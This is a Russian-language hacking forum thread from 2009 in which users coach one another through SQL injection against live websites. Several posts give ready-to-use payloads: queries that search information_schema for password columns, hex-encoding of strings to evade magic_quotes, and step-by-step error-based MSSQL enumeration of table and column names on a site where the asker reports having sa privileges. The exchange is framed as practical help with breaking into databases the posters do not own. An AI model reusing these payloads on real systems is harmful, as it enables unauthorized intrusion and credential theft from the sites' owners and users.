ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4791  
Старый 20.01.2009, 12:25
Аватар для big_BRAT
big_BRAT
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме:
1292655

Репутация: 168
Отправить сообщение для big_BRAT с помощью ICQ
По умолчанию

Цитата:
Сообщение от R1dex  
j0ker13, посмотри внимательно, может, всё таки не одна бд?
А ещё лучше, дабы избежать ненужных гаданий, кинь линк.
если это 5 ветка, то в information_schema.columns есть колонка table_schema - название базы

сделай где то так

select concat_ws(0x3a,table_schema,table_name,column_name ) from information_schema.columns where column_name like '%pass%'
// выбрать название базы + таблицы + колонки где встречается pass
 
Ответить с цитированием

  #4792  
Старый 20.01.2009, 12:35
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
Сообщение от big_BRAT  
если это 5 ветка, то в information_schema.columns есть колонка table_schema - название базы

сделай где то так

select concat_ws(0x3a,table_schema,table_name,column_name ) from information_schema.columns where column_name like '%pass%'
// выбрать название базы + таблицы + колонки где встречается pass
1. Это ты мне пишешь? ))
2. Зачем так извращаться, гораздо проще, просто посмотреть в какой бд лежит таблица.
 
Ответить с цитированием

  #4793  
Старый 20.01.2009, 12:35
Аватар для z00MAN
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Цитата:
Сообщение от big_BRAT  
если это 5 ветка, то в information_schema.columns есть колонка table_schema - название базы

сделай где то так

select concat_ws(0x3a,table_schema,table_name,column_name ) from information_schema.columns where column_name like '%pass%'
// выбрать название базы + таблицы + колонки где встречается pass
если так делать, то название колонки лучше закодировать в 0xhex, чтобы избежать лишних столкновений с magic_quotes=on
 
Ответить с цитированием

  #4794  
Старый 20.01.2009, 15:25
Аватар для [Raz0r]
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
Сообщение от Octave_Parango  
Вопрос:
А через phpmyadmin можно посмотреть phpinfo?
/phpmyadmin/phpinfo.php, но вывод информации может быть запрещен
 
Ответить с цитированием

  #4795  
Старый 20.01.2009, 17:31
Аватар для mak-shapova
mak-shapova
Новичок
Регистрация: 11.01.2009
Сообщений: 15
Провел на форуме:
8148

Репутация: 13
По умолчанию

все снова хай! Надеюсь в этот раз вы мне поможите! )
Есть скуль на сайте, база mssql (юзер sa!)
Пытаюсь вывести имена колонок
Цитата:
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns)--
выводиться имя колонки
nvarchar value 'accid' to data type int
Но имя второй вывести не могу
Цитата:
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+('accid'))--
ncorrect syntax near 'accid'.
Такой вариант тоже не работает
Цитата:
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+(SELECT+TOP+2+COL UMN_NAME+FROM+information_schema.columns))--
Выводит одну и туже колонку
nvarchar value 'AddLine1' to data type

Что делать? Как вывести имена колонок?
 
Ответить с цитированием

  #4796  
Старый 20.01.2009, 17:43
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

accid - переведи в hex. Без ковычек.
 
Ответить с цитированием

  #4797  
Старый 20.01.2009, 17:44
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Что делать? Как вывести имена колонок?
Юзай лимит.

Цитата:
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+('accid')+LIMIT+1 ,1)--
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+('accid')+LIMIT+2 ,1)--
SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+('accid')+LIMIT+3 ,1)--
И т.п...
 
Ответить с цитированием

  #4798  
Старый 20.01.2009, 17:45
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

MSSQL не поддерживает LIMIT
 
Ответить с цитированием

  #4799  
Старый 20.01.2009, 17:51
Аватар для mak-shapova
mak-shapova
Новичок
Регистрация: 11.01.2009
Сообщений: 15
Провел на форуме:
8148

Репутация: 13
По умолчанию

не робит ((
Цитата:
(SELECT+TOP+1+COLUMN_NAME+FROM+information_schema. columns+where+column_name+not+in+(0x6163636964))--
опять выводит
converting the nvarchar value 'accid' to data type int.
 
Ответить с цитированием

  #4800  
Старый 20.01.2009, 17:58
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Ты вначале таблицы хоть выведи.

Код:
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
Получишь что-то типо:

Syntax error converting the nvarchar value 'таблица' to a column of data type int.

Код:
(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' таблица'))--
А потом, с нужной таблицы уже выводишь колонки.

Код:
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='таблица')-
Код:
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('колонка'))--
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ